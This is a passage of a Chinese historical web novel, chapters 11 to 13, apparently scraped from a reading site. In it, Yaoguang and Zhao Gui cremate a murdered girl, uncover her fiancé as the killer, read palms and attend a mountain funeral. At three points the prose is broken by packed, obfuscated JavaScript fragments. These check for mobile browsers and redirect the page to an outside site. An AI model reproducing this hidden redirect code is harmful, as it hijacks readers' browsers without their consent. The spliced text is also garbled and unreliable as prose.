赵傀用平静的语气说出的四个字,却让毕摩猛地退后一步,脸色惨白,恐惧得像是大白天见到了鬼。 他惊疑不定地看着赵傀许久,张了张嘴,最后用力摇头道:“祖灵在上,我不知道你在说什么。”然后用寨中刚去世了一位老人为借口,忙不迭招呼阿呷他们离开了这里。 临走前,杜罗又瞪了赵傀他们一眼,转头忍耐道:“瑶瑶,我在寨子里等你。” 阿呷似乎还想给英珠收尸,但在毕摩冰冷的注视下,他一咬牙,别开视线,也硬着头皮追了上去。 瑶光还是第一次见毕摩老头被吓成这样。 她扭头问赵傀:“死而复生是什么意思?英珠的尸体不是被尸鼠搬运到这里的吗,怎么可能是死而复生?” 赵傀淡淡道:“我只是诈他一下。” 但瑶光却觉得不像。 这人肯定隐瞒了不少东西。 她蹲在尸体边上,脸色逐渐转冷,合作的基础是互相信任,在这种深山老林里,什么礼义廉耻道德律法都没了用处,稍有不慎,就是个暴尸荒野的下场。 尤其她一个姑娘,更是要处处提防,怎么小心谨慎都不为过。 这样想着,瑶光下定了决心。 她起身对赵富贵说道:“看来你家少爷秘密很多,也瞧不上我,既然如此……”那咱们也没必要合作了。 “没有。”赵傀忽然出声。 他垂眸看着瑶光,语气中似乎带上了一丝安慰,“不是不告诉你。其他的,等回去再说。” 瑶光盯着赵傀,半晌,轻哼一声收回了视线。 赵傀这人,她看不透。 按道理说,远离才是最好的办法。 可她天生性子反叛倔强,就像她当初坚持要让父亲觉得,自己无论如何都不比儿子差一样,什么道理规矩,瑶光从不耐烦这些。 她只做自己认为当做的事。 所以瑶光咽下了到嘴边的话,转而问道:“你们有没有带燧石火镰?” 赵富贵疑惑:“有。但你要这些干嘛?” “还真有啊?”瑶光诧异地看着他从包里掏出东西来,回答道,“我想把她烧了。” 她指了指尸体,叹道:“要是埋在地下,说不定又被人或者老鼠刨出来作践。与其死后不得安生,不如一把火烧了干净。” 赵富贵点头:“有道理。” 在场三人都赞同死者为大,赵傀自然也没有意见,在焚烧过程中,他还站在尸体旁,低声念了一段往生咒。 瑶光把英珠的骨灰洒在了河水里。 一声清脆的啼鸣声响起,白鸟从山巅飞过,仿佛正载着尘世浮沉的亡灵飞往天际。 她站在青山环绕的河畔,望着顺流而下的河水,忽然出声问赵傀:“方才,你为什么不让我说出她真正的死因?” 11. 第 11 章 赵傀静静注视着河水冲走最后一份骨灰。 不知是不是因为中毒的原因,他眺望着远方,神情又浮现出一丝淡淡的、仿佛勘破一切的怠倦。 对于瑶光的问题,他只是微微摇头。 摇头是什么意思?瑶光不禁皱眉。 她看着赵傀在日光下沉静的侧脸,继续追问道:“英珠的尸体虽然没有明显外伤,但舌头上有嚼破痕迹,牙齿缺了几颗,应该是生前被人强拔下来的;脐眼下方有血晕,说明阴门也有贯穿伤。她是被逼到绝路,才会去投水的——你告诉我,杀死英珠的,是不是就是毕摩?还是说,是……” 她犹豫了一下,到底没把最后那个名字说出口。 如果真的是阿呷,那这个姑娘的命,未免也太凄惨了些。 虽说她移情别恋有错在先,但也罪不至死。 更何况,死后还要被人玩弄遗体,被未婚夫利用,在全寨人面前装模作样地上演一出深情好戏。 真是令人作呕。 “你是不是知道什么?”瑶光用肯定的语气问赵傀,“说吧,既然我答应了帮你治疗寒毒,作为医师和病人,总得有最起码的信任吧。” 赵傀终于抬头看了她一眼,表情带着一丝诧异。 “你怎么知道寒毒的事?”他皱眉,立刻看向了赵富贵。 赵富贵赔笑道:“九爷,这是瑶光她帮您把脉时自己看出来的,可不是我故意泄密。” 瑶光抱臂道:“我跟你属下都商量好了,他用他的路子帮我打听些消息,我帮你治病,咱们各取所需。” 赵傀拒绝了:“不是什么大问题,不需要帮忙。” 瑶光被气笑了:“你要是自己能解决,这病早该治好了,还用得着你大白天躺在棺材里装鬼吓人?别想逞强骗我,刚才在下面,你身上的体温都低得不像个活人了!” “咳咳!咳咳咳……” 赵富贵突然呛到了,在一旁疯狂咳嗽起来。 但没人在意他。赵傀注视着瑶光那双像黑钻一样光彩照人的眼睛,少女微微的吊眼梢,给人一种洒落不羁、生机勃勃的顽劲,像是悬崖罅隙间开出的花。 他眼神闪烁了一下,移开视线说道:“我可以帮你拿到你想要的,但等我解毒后,你必须立刻离开。” “为什么?”瑶光不乐意了,“怎么,觉得我一个姑娘家,会妨碍你们?还是有什么不可告人的秘密非得避着我?” 她盯着赵傀,发誓如果这人敢说出“是的”二字,或者但凡有点头的趋势,就立马把他的脑袋拧下来当蹴鞠踢。 幸好赵傀没有这么做。他选择换了个话题:“你方才问我,为什么阻止你,我可以告诉你,你的猜测没错,杀死英珠的,的确就是她的未婚夫阿呷。” “这件事我们很早之前就知道了,是英珠的堂姐告诉我们的。” 瑶光睁大眼睛,下意识道:“她的堂姐?不是说已经疯了吗?”她说完,又恍然大悟,“她是装疯?” “英珠爱上了一个中原人,她的家人知道后,选择了帮助他们一起私奔,”赵傀说,“但很可惜,他们被发现了。为了泄愤,阿呷杀死了她的家人和那个中原人,英珠也被他折磨而死。” 赵傀道:“英珠的堂姐如果不装疯,根本没办法在毕摩一家的报复中活下来。毕摩一家极度仇视外来者,也不想让人知道英珠死亡的真相,就利用她的尸体来栽赃陷害我们。” 瑶光咋舌:“所以那条衣带,其实是他们自己塞进英珠手里的?这爷孙俩,真是上梁不正下梁歪的典范啊。” 赵傀略一点头:“如果今天没找到英珠的尸体,我又带着你在众人面前验尸,他们是不会善罢甘休的。” 瑶光笑起来:“这么说,你还得好好感谢我了?” “是,多谢。” 赵傀干脆利落的承认反而让瑶光愣了一下。 她打量了赵傀片刻,露出一抹灿烂的笑容,拍了拍他的肩膀:“不用谢!你这人虽然神神叨叨了点,但也算不错,是个值得一交的朋友,这样,回去后我请你们喝酒!” 她看了看在赵傀身后望天的赵富贵,干脆把他也捎上了。 赵富贵因为她拍赵傀肩膀的动作眼皮狠狠一跳,但一听瑶光说有酒喝,立马把这事儿抛到一边,口水都差点垂了三尺:“真的?你带酒了?” 瑶光冲他神秘地眨了眨眼:“保证好酒,一口就上头!” 酒毒也算是一种毒,因此瑶光向来千杯不醉,如果想痛痛快快醉一场,只能靠在酒里泡点毒蛇虫蚁替代。 但只一条阎王花的毒液,还远不够让她喝醉。 瑶光打得一手好算盘——她打算趁此机会,把这两个姓赵的灌醉,再从他们嘴里套点话出来。 三人回到寨中,瑶光一眼就看到了站在不远处的杜罗。 他正站在一处石头垒成的围墙上,执拗地抿着唇,一双黝黑的眼睛正直勾勾地盯着她。 发现她又是跟着赵傀两人一起回来时,他狠狠皱起眉头,跳下围墙,怒气冲冲地大步走了过来。 “你们先回去吧,我等下再来找你们。”瑶光在心里叹了口气,扭头对他们说。 赵傀淡淡地点了一下头。 他把那盏风灯还给了瑶光,带着赵富贵转身就走,压根儿没把杜罗的挑衅放在眼里。 “瑶瑶,”杜罗上身肌肉绷紧,压抑着怒气质问道,“我不是说,不要和他们走太近吗?” “意外遇见,我也不想的。”瑶光一摊手,抱怨道,“那毕摩老头果然没安好心,我今早按照他说的,去河流下游看看,结果差点没栽进坑里摔死,还被一群吃人的耗子追得上蹿下跳。” 杜罗是个实心眼的,听瑶光这么说,一下子心虚起来,到嘴边的话都忘到了脑后。 他愧疚道:“抱歉,瑶瑶,我……” “不是你的错,杜罗哥,”瑶光背着双手,笑眯眯地看着他,“我又不是第一天才知道那老头一肚子坏水,真要说起来,应该是我大意了才对。毕竟是你亲口告诉我的消息嘛,我就没想太多。” 杜罗黝黑的脸颊上不易察觉地泛起红晕,他又开始结巴起来:“我、你……但、但是……唉!你没受伤吧?” 他重重地叹了一口气,自暴自弃地问道。 瑶光低头看了眼自己身上,虽然脏了点儿,但受伤倒还真没有……哦,手腕上被蛇咬的不算。 “没有。”她肯定地说。 “那就好,”杜罗挠挠头发,飞快地看了一眼四周,小声问道,“瑶瑶,明天的葬礼,你来参加吧?” 他一脸期待地看着瑶光,仿佛邀请她参加的不是葬礼,而是婚礼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345137|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但瑶光知道,乌蛮葬礼的习俗和中原大有不同,尤其是上了年纪的老人死亡后,家属不仅会大摆宴席,还会在葬礼上举办摔跤比试,将场面办得越热闹越好。 “好啊。”瑶光一口答应下来,又问道,“黄阿婆会来吗?” 杜罗不太确定地说:“应该会吧?” 南诏寨中有位黄阿婆,是上上一任毕摩的妻子。 她没有孩子,辈分很高,深居简出,每逢寨中大事才会露面。 瑶光上次来就没遇见她,这次难得有机会,她想问问对方知不知道有关杜桑的事情……还有那口黑棺。 今天上午发生的事情太多,瑶光没什么心情和杜罗闲聊,敷衍几句就将人打发走了。 一想到英珠的死,她心中仍有些郁郁。 瑶光很清楚,这里没有衙门可供苦主伸冤,大部分寨民仍处于未开化的状态,可自古杀人偿命天经地义,凭什么毕摩一家就能逃脱? 等和杜罗告别后,她先回了自己的屋里换了身干净衣服,又带上那两坛酒,去寨子边上找了一趟赵傀他们。 但她到的时候,只看见赵富贵一个人蹲在门外喂他那只胖到不行的松鼠,赵傀则不见踪影。 “他人呢?”瑶光问道。 赵富贵抬起头,一对招子黏在她的酒坛子上,眼也不眨地回答道:“九爷在后院洗澡,要不我们先喝着?” “去,有你这么当下属的吗。” 瑶光笑骂一声,也蹲了下来:“这松鼠怎么这么肥?也是你养的?叫什么名字?” 似乎是听懂了她的话,松鼠不满地冲她叫了一声,然后继续抱着果仁埋头狂吃起来。 “我也不想养,是它自己非要跟上来的,”赵富贵愁眉苦脸道,“吃得多还挑食,只吃西域运来的干果,跟大爷一样,难伺候得很!我一个月四分之一的俸禄都要花在它身上,就干脆给它起名叫十爷了。” 瑶光笑得不行:“这名儿不错,够贴切。你家九爷知道不?” “知道,但他都给我起名叫富贵了,我还不能管松鼠叫声爷?” 瑶光更是乐不可支。她发觉赵傀和赵富贵这俩人不太像是正常的主仆关系,倒更似朋友,于是便问道:“富贵儿,你是怎么认识赵傀的?” “想着去大户人家讨口饭吃,机缘巧合。” 赵富贵不愿多说,瑶光也就没再问下去。 倒是赵富贵又开口问她:“你一个姑娘家,为什么要跑到这深山老林里来找什么奇毒?你家里人呢?” “我没有家人。”瑶光淡淡道,“至于找奇毒的原因,抱歉,暂时还不能告诉你们。” 她说完,身后传来脚步声。 瑶光回头望去,果然是赵傀。 他依旧没穿上衣,坦荡露出劲瘦结实的白皙腰身,一头长发用木簪随意盘了个发髻,脖颈上搭着一块布,应该是刚才洗澡时用来擦身子的,从后面走过来,站在院子里一眨不眨地看着他们。 不像大户人家的公子,倒像是乡下会砍柴种地的俊俏后生。 瑶光被他看得很不自在,干咳一声,拍了拍酒坛问道:“喝吗?” 赵傀默然看着她,旁边的赵富贵和十爷一起疯狂点头,两脸期待地看着他。 半晌,他收回目光,披上外袍。 侧身说:“进屋吧。” 12. 第 12 章 令瑶光失望的是,赵傀是个酒品很好的人。 大半坛酒下肚,也没见他多说几句话,只是比清醒时更安静了些,一直半阖着眼睛,低头看着他那串铜钱手链发呆。 倒是赵富贵一直嚷嚷着要尝尝她的那坛毒酒,瑶光拗不过,只能给他倒了一小杯,结果还没喝完人就跑到外面上吐下泻,害得她还得帮忙解毒。 赵富贵躺在床上,一张脸肿成猪头、眼都快睁不开了,嘴里还在醉醺醺嘟囔着什么“各位看官且听下回分解”。 赵傀嫌他聒噪,直接一手刃敲晕。 瑶光好笑调侃道:“怎么感觉你俩的关系反过来了?” “富贵的用处不在这里。”赵傀说。 他直起身子,微微皱眉看向瑶光,似乎是犹豫了一下,但还是问道:“要不要去河边醒醒酒?” 这是出去单独谈的意思。 这还是赵傀第一次主动提出要和她聊聊,瑶光当然不会错过这个机会,欣然同意:“好啊。” 正好她也有话想问赵傀。 他们在河边走了不到半个时辰,彼此试探往来自不必多说。 瑶光发现,赵傀似乎误会了她的身份。 他好像认为,自己是宫里派来监视他的眼线。 瑶光本想解释,但想想这个身份对自己有利无害,就干脆装作没听见赵傀的试探——她的确知道很多宫中的事情,万一不小心说漏嘴了,还能用这个借口来掩饰一下。 见瑶光没有否认,赵傀眼神微暗。 他沉默了一会儿,很快转移话题,询问瑶光要如何替他祓除寒毒。 瑶光很坦诚地告诉赵傀,她打算先用药浴消解他体内的部分毒性,再用至阳之物以毒攻毒。 治疗肯定不是多么愉快的过程,且并不能确保一定成功。 如有意外,纯属意外。 “不过就算失败,应该也不会比你现在更糟了。”她补充道,“等我准备好药引和其他材料,会第一时间通知你的。” 赵傀点点头:“好。” 他说话时的神情很平静,瑶光不知道他是对自己的身体不在意,还是真的已经对她交付了信任。 说实话,她自己都不太相信会是后者。 作为回报,赵傀也告诉了瑶光一些秘闻。 原来毕摩所说的那位国师,竟然是一位圣人亲封的方士。 他曾带着人在南诏寨中住过很长一段时间,后来说是在山中找到了一枚长生不老药,传讯给朝廷。圣人大喜,在京中举办了一场升仙大会迎接仙药,谁知国师竟在献药当天、于众目睽睽之下暴毙而亡。 众人打开药匣,发现里面空空如也; 再一查,那些同国师一起去寻药的人,也都莫名其妙死在了回程路上,或者干脆连尸骨都找不到,神秘失踪。 线索就此断绝,圣人大怒,认为一定是有人半路偷走了仙药,而给国师下毒的目的,就是不希望他长生不老,盛怒之下怪罪到了乌蛮六诏的头上,想要发兵攻打。 但在大臣们的苦劝之下,他勉强改口,允诺了一年的期限,说如果一年内抓不到凶手找不到仙药,就绝不再姑息。 瑶光问了赵傀这场升仙大会举办的日期,顿时有种哭笑不得的感觉——这不是巧了吗! 升仙大会召开当天,正好就是她洞房的日子。 然而上辈子她被父亲关在家里忙着成亲,对外面发生的一切都毫不知情。 她父亲苦心筹谋多年,到头来,还是竹篮打水一场空。 那位王爷只拜了个堂就不见踪影,她握着鱼肠剑坐在喜床上等了一夜,都没等到新郎官露面。 等下一次听到的,就是他客死异乡的消息,和一句让她不必为他守寡的简短遗言。 尽管最后按照父亲的安排,她还是为他守了寡,最后还入宫二嫁给了他的兄长。 瑶光心情复杂地叹了口气。 她回过神来看着赵傀,问道:“所以,你找到那枚长生药了吗?” “这世上根本没有什么长生不老药,”赵傀肯定地说,“我只是想知道,那些人究竟为什么而死,有关长生的谣言,又是被谁传出来的。” 瑶光又问了一遍刚才的问题:“那你对毕摩说的死而复生,是什么意思?” “吓唬他的,”这此赵傀回答得很明白,“人虽然是毕摩一家杀的,但他们应该还不清楚她为何会从悬崖上消失,和尸鼠半夜活动时会学人敲门的事情。” 他顿了顿,又问道:“而且你不觉得,毕摩一家演得有些过头了吗?” 瑶光疑惑道:“此话怎讲?” “以毕摩在南诏寨中的地位,想要隐瞒英珠死亡的真相其实很简单,”赵傀说,“但一开始他同意我们住在寨中,后来又利用英珠的死栽赃我们,与其说是排斥外来者,不如说,中途有什么事情,或者人,强行改变了他的想法。” 瑶光艰难理解着他这一番话:“你的意思是……有人在威胁毕摩,要赶走你们?” “不是赶走,是杀死。”赵傀用平静的语气说道,“有人想要我的命。” “谁?”瑶光下意识问道。 赵傀没有回答,只是沉默地看向前方。 瑶光这才发现,他们已经沿着河走出了很远的一段距离。 他们的正前方是一处悬棺绝壁。 这里是乌蛮人的坟墓,也是他们灵魂最终的归宿。 瑶光从前也只是听杜罗提起,从没真正来过这个地方。 她望着蓝天下屹立的高耸悬崖,和那崖壁之上、犹如蚂蚁般大大小小的悬棺群葬与岩壁石龛,不禁惊叹于乌蛮丧葬习俗的怪异诡诞—— 棺材上不着天下不挨地,先不说是怎么把它运上去的,就算运上去,还要在石头崖壁上面凿孔、打桩,最后再将棺材安放在壁立千仞的椽木之上。 因为乌蛮人认为,悬棺越高,死者的灵魂就越容易步入另一个世界。* “你说,这世上真有灵魂存在吗?” 瑶光想起自己重生的经历,有些茫然地问道。 “不知道,”赵傀说,“即使有,它们也不在这里。葬礼也好,祭祀也罢,都只是活人的把戏罢了。” “你这可是对死者的大不敬啊,”瑶光斜眼睨着他,目光落在赵傀手腕的铜钱上,“亏你还是个算命的。” “懂命理的人,不信鬼神,只信因果报应。”赵傀淡淡道。 “那你要不也给我算算?” 瑶光来了兴致。 她心想赵傀八成和那结巴老道士一样,也是个半吊子神棍,只是没那么讨厌罢了。 她重生的事情赵傀肯定算不出来,到时候自己随便拿一件未来的事情诈他一下,她也能当个赛半仙。 赵傀看了她一眼,还真应了:“右手给我。” 男左女右,瑶光很痛快地把手递了出去。 两人都不是什么讲究男女大防的人,赵傀很自然地握着她的右手,低头看起了手相。 “地纹杂乱,年少多病……” 说话间,他身上淡淡的醇香酒气飘散,还混杂着一丝似有若无的青莲香。 那掌柜说得没错,的确是好酒。 瑶光直勾勾地盯着赵傀低垂的俊逸眉眼,心想,他的睫毛怎么比女人还密? 赵傀忽然抬头看了她一眼,目光撞上瑶光的视线,他微微一怔,又若无其事地低头继续看了起来。 只是这次的语气,比刚才稍稍快了些许: “手背骨纤细,福禄较轻;兑、乾位薄,父母缘浅,尤其是兑位,大凶,你父亲不久后……”他顿了一下说道,“可能有牢狱,或者血光之灾。” 瑶光心里一咯噔,表面却臭着脸道:“能不能说点好的?” 赵傀一脸无辜地看着她:“我只是实话实说。” “你要是在街头混饭吃,没几天就要被人乱棍打死,”瑶光狠戳了一下他的额头,凶巴巴地威胁道,“坏的就不用讲了,算点别的!” “……好吧。” 赵半仙茫然摸了一下被戳得通红的额角,再度低下头去。 他用力捏了几下瑶光的手,从指尖、到指根、掌心乃至手腕小臂处,忽然皱起眉头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345138|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怎么了?” 瑶光心想要不是赵傀目不斜视一脸正人君子的样子,换做别人,肯定当他是在耍流氓。 “骨干均匀圆润,是贵人之相,”不等瑶光露出笑容,就见赵傀抬起头,定定地看着她,“皮肤柔滑,但筋骨相连,说明你心有郁结,将来或因婚姻不幸……致寿数有损。” 瑶光和他对视一眼,突然用力抽回自己的手。 “算的一点儿也不准,”她深吸一口气说,“首先,我这人向来有事儿不藏心里,有仇的报仇有冤的报冤;其次,我这辈子本来也没打算成婚,要是有看对眼的,就找他做个情郎,若是没有,那就独身潇洒一辈子,大不了老了去住尼姑庵。” 赵傀静静地看着她,一言未发。 瑶光总觉得自己被他看透了。 她比谁都清楚赵傀算得有多准,甚至她有种感觉,再让赵傀看下去,说不定他下一句话就会说—— “你是死而复生之人”。 这是瑶光此生最大的秘密。 她很清楚,这件事如果被人知晓,她的命运只会比上辈子还要悲惨百倍。 瑶光有些狼狈地躲开了赵傀的目光,不敢去看对方的眼神。 她想起了初见时,赵傀那双仿佛能洞察一切的淡然眼眸——是否在那个时候,他就已经看透了某些事情? 瑶光极度痛恨“命中注定”这四个字,父亲曾无数次告诉过她,她生在林家,为家族奉献一切,忠君报国,这就是她的命; 她去翻书,书上也说,女子在家从夫,出嫁从夫,就像做臣子的无条件顺从君主一样,都是生来注定的。 她不知该如何反抗,所以她逃了。 逃得远远的,与过去的所有一刀两断,以为这样就能摆脱自己痛恨的一切。 谁知道,即使是在远离世俗的角落,也躲不开宿命编织的牢笼。 瑶光忽然觉得有些疲惫了。 很想不管不顾地大哭一场,却发现自己连出声喊叫的力气都没有。 上辈子她即使快要死去,也大多是身体上的疲乏和困顿,从未有一刻像现在这样,她觉得如此的委屈、心酸和劳累。 她只想当个普通人,远离一切阴谋诡计,平平淡淡、健健康康地过一辈子——父母不必大富大贵,但至少会像全天下每一个正常的父母那样,会为了女儿的幸福而展颜、流泪。 可为什么她明明没做任何坏事,老天爷就是不愿意放过她? “你……” 赵傀微微睁大了眼睛,露出了些许不知所措的神情。 瑶光在他的眼睛里看到了正在流泪的自己,哭得很狼狈,像个傻子。 她突然觉得羞耻,自己什么时候变得这么矫情了? 明明知道命运就是个不讲道理的东西,居然还想着求个公道,软弱到在一个刚认识不久的男人面前流泪。 瑶光愤恨地用手背抹去脸颊上的泪水,在心中暗暗发誓:从今往后,无论遇到多难的事,都绝不会再哭了。 她用力眨了眨酸胀的眼睛,瓮声瓮气地道歉:“抱歉,我失态了,一想到自己的未来黯淡无光,就觉得还不如找根腰带自挂东南枝呢。” 她扯了扯嘴角,开了一个并不好笑的玩笑。 赵傀抬了下手,似乎想帮她拭去眼角的泪水。 但最终还是放下了。 他垂眸注视着瑶光,轻声道:“你说的对,我算得不准,人的命也并不是一成不变的。” “谢谢安慰,我心里有数。” 瑶光干巴巴地说道,显然并不相信他的话。 她现在只想尽快找个理由和赵傀告辞,然后回屋躺在床上闷头睡大觉。 赵傀动了动嘴唇,似乎还想说些什么,但突然他脸色一变,一把将正沉浸在自己思绪中的瑶光拉到身后,抬手接住了一记狠厉拳头。 瑶光愣住了。 她看着杜罗怒不可遏的样子,一时忘记了哭泣。 “混账!” 杜罗飞快地瞥了她一眼,朝赵傀大声咆哮: “——你怎么敢!!” 13. 第 13 章 赵傀皱起眉头望着杜罗,似乎还不太明白发生了什么。 杜罗红着眼睛,不甘示弱地瞪了回来,周身杀气腾腾——瑶光觉得要不是她还在这儿,肯定他挥向赵傀的就不是拳头,而是斧头了。 她赶紧解释道:“杜罗哥你误会了,我没有被欺负!” “瑶瑶,你不用替他解释,”杜罗看上去却更加生气了,他咬牙道,“我都看见了!这个混蛋,抓着你的手,还惹你哭!” “不,我们只是在……” 瑶光不知道该怎么和杜罗解释看手相这件事,张了张嘴巴,半天说不出话来。 她的犹豫却让杜罗愈发肯定了自己的猜测,看着赵傀的眼神凶恶无比。 赵傀冷声道:“你没听到她说吗,她哭不是因为我。” 杜罗恨声道:“敢做不敢当,是不是男人?我瞧不起你!” 眼看着他又要动起手来,赵傀也不耐烦了。 刚要出手,瑶光赶紧挡在了他的面前。 杜罗杀人的目光越过她刺向赵傀,“瑶瑶,你让开!” “杜罗哥,真不是你想的那样,”瑶光苦着脸道,“他只是在帮我看手相——就、就跟毕摩替人占卜一样,你懂吗?” 杜罗眉头拧成了一个疙瘩,显然不怎么相信:“就他,能有毕摩的本事?” 赵傀的本事肯定比只会跳大神忽悠人的毕摩老头强多了,瑶光心想,但话肯定不能跟杜罗这么讲。 于是她把不情不愿的杜罗拉到一边,低声说道:“杜罗哥,其实我也不完全相信他,你知道的,男人都怕女人哭,所以我就试探他一下,他真没欺负我。” “……真的?” 杜罗有些将信将疑。 瑶光指天发誓:“绝对是真的!比真金还真!” 杜罗看着她肯定的模样,怒火渐渐从脸上褪去。 他低声道:“我确实很怕。” “什么?”瑶光没听清,但杜罗摇了摇头,主动走到赵傀面前说:“是我错怪你了,但是,我不后悔对你出手。” 赵傀淡淡地看着他,仿佛根本不在意杜罗说了些什么。 杜罗站在原地,用力攥了一下拳头。 他似乎下定了某种决心,深深看了赵傀一眼,没有再多说什么,转身就走。 瑶光松了一口气:“刚才吓我一跳,还真以为你俩要打起来了呢。” 赵傀悠悠问道:“你知道他为什么对我动手吗?” 瑶光:“……因为误会你在对我动手动脚?” 赵傀很难得笑了一声:“不知道的话,那就算了。” 瑶光瞪着他从容离开的背影,气得用力挥了下拳头:“什么人啊!” 刚才她就不该拦着,就得让杜罗哥狠狠揍他一拳。 照脸揍!和赵富贵一样都肿成猪头才好! 但被这么一打岔,瑶光也没太多心情伤春悲秋了。 她回到屋子里,草草吃了点东西就上了床。 半夜毒瘢发作,她从睡梦中一身冷汗地疼醒,艰难地爬起来喝了两口毒酒。疼痛稍稍缓解,瑶光却辗转反侧,怎么也睡不着了。 她一会儿在想杜桑的下落,一会儿琢磨赵傀和那口黑棺的事情,还有英珠的死,毕摩一家虚伪的嘴脸……时不时还有上辈子的记忆插队。 明明躺在床上什么都没干,总觉得自己忙得心力憔悴。 瑶光讨厌胡思乱想。 更讨厌总是会控制不住在深夜胡思乱想的自己。 她默默地蜷缩在被窝里,头抵着墙,轻轻叹出一口气。 手中还紧紧抓着父亲送给她的那把鱼肠剑。 天将亮时,她做了个梦。 梦里赵傀和杜罗两人扭打在一起,她在旁边急得团团转却根本无法靠近,只能不停叫着:“不要再打了,你们不要再打了……” 一觉起来,脑袋昏昏沉沉。 浑身骨头咯吱作响,像是拉了一整晚磨的驴。 瑶光垂头坐在床上,发了一会儿呆,突然崩溃地抓了抓头发,然后失去了全部力气,颓丧地仰面倒在了床上。 门外传来敲门声,是杜罗在叫她:“瑶瑶,葬礼要开始了。” 瑶光很想说能不能在葬礼名单上再加一个名字,她现在有点不太想当活人,说不定学习赵傀在棺材里躺一躺,还能激发出求生欲来。 “瑶瑶,你起了吗?” 瑶光眼神空洞地盯着趴在头顶的花斑大蜘蛛。 算了,早餐不想吃太重口味的。 数息后,她翻身下床。 “起了起了,”她抹了把脸说,“杜罗哥你先过去吧,我马上就来。” “哦。” 杜罗很老实地答应了:“我在那边等你。” 瑶光应了一声,飞快地洗漱完毕后,换上了一件本地人的传统服饰——一条红、黑、黄三色相间的百褶裙。 这是上次来时,一户人家的阿妈亲手缝制并送给她的。 因为她帮忙治好了她儿子的癞病。 她很久没穿过这种刺绣裙装了,走起来裙摆晃动,还觉得有些不习惯。 对她来说,穿着石榴裙、在花园里无忧无虑荡着秋千的经历,遥远得仿佛已经是上辈子的事情……好吧确实是上辈子没错。 瑶光打开门,把洗脸水连同昨天的坏情绪一起泼出去。 她站在阳光下,伸了个懒腰。 食欲大开,又是新的一天。 虽然很不容易,她想。 ——但还是再试着努努力活下去吧。 * 瑶光到时,山崖下已经坐满了人。 她伸长脖子找了一圈,硬是没找到杜罗在哪儿,倒是见到了熟鸟——郁垒拍着翅膀落在她肩膀上,响亮地打了声招呼:“嫂子好!” “都说了不是嫂子。”瑶光无奈道。 但没办法,也不好跟一只鸟计较。 她伸出手指,逗了逗郁垒,问道:“你家主人在哪儿?” 郁垒享受地眯起绿豆眼,拿头顶的白毛蹭了蹭她的脸颊,显然不太想回答这个问题,也可能是早就把主人忘到了九霄云外。 还是赵富贵主动抬手朝她招呼了一声:“瑶瑶,这边这边!” 瑶光走过去,挑眉道:“富贵,你叫我什么?” “瑶瑶啊,”赵富贵瞪了一眼那只见色忘主的小王八蛋,又嬉皮笑脸地对瑶光道,“我听那个黑虎小子这么喊你,怎么,不行吗?你都直接叫我富贵了。” 江湖儿女没高门大户那么多规矩,一个称呼而已,瑶光也没在意。 她点了点头,撩起裙摆,正准备在赵富贵身边的草甸上坐下,谁知他立马跟火烧屁股一样跳了起来,指着身下的垫子连声道:“我坐地上就行,你坐这儿,你坐这儿。” 瑶光奇怪地看了他一眼,觉得赵富贵的态度怪怪的。 旁边不还有一个垫子吗? 刚想问,余光就看见一道人影坐在了自己身旁。 瑶光看着赵傀,又想起自己昨天犯的傻,脸颊顿时有些发烫。 赵傀倒像是什么都没发生过一样,神色如常地跟她打了声招呼,还多看了几眼她今日的打扮。 瑶光心想,估计也是觉得她穿这个很奇怪吧。 “你们怎么会在这里?”她小声问道,有些尴尬地把裙摆往下扯了扯,盖住小腿上的疤痕,希望赵傀不要再看她了。 可惜愿望没达成。 还是赵富贵回答道:“那个黑虎小子邀请我们来的。” 说起这个,赵富贵也有些费解:“我还以为他不欢迎我们呢,每次见都横鼻子竖眼的,脸拉得跟吊丧似的。” 瑶光也觉得奇怪。 但很快葬礼开始,她就没工夫想赵傀和杜罗的事情了,注意力转移到了柴火堆旁的毕摩身上。 他头戴法笠,脸上用黑红两种颜料涂着奇异的图案,右手持法铃,左捧着一本羊皮经书,绕着棺材手舞足蹈,口中念念有词。 随着他的念诵,围在最内圈的寨民们敲打起了铜鼓。 隆隆鼓声回荡天地,惊起山林中飞鸟无数。 “毕摩老头又开始跳大神了。”瑶光嘟囔。 赵傀问:“你知道他在念的是什么吗?” 瑶光摇头。她本以为毕摩老头念的是类似于《往生经》一类的超度经文,但仔细听了一会儿,发现并不尽然。 他们唱诵的,是人在这世上的一生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345139|152663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “来到人世间,母亲让你睡在木床上,而自己却睡在潮湿的地方,有什么危险她来挡着,让你无忧安然睡到天亮。”* “父亲把你抱在怀里,让你看见了天空、大地、太阳、月亮、星星和云彩,让你听到了风雨声,给你取了姓名。……”* 赵傀静静聆听了一会儿,赞扬道:“有《诗》之遗风。” 瑶光听了却有点儿难受。 她默默蜷缩起膝盖,静静地听着毕摩念诵着最后的经文: 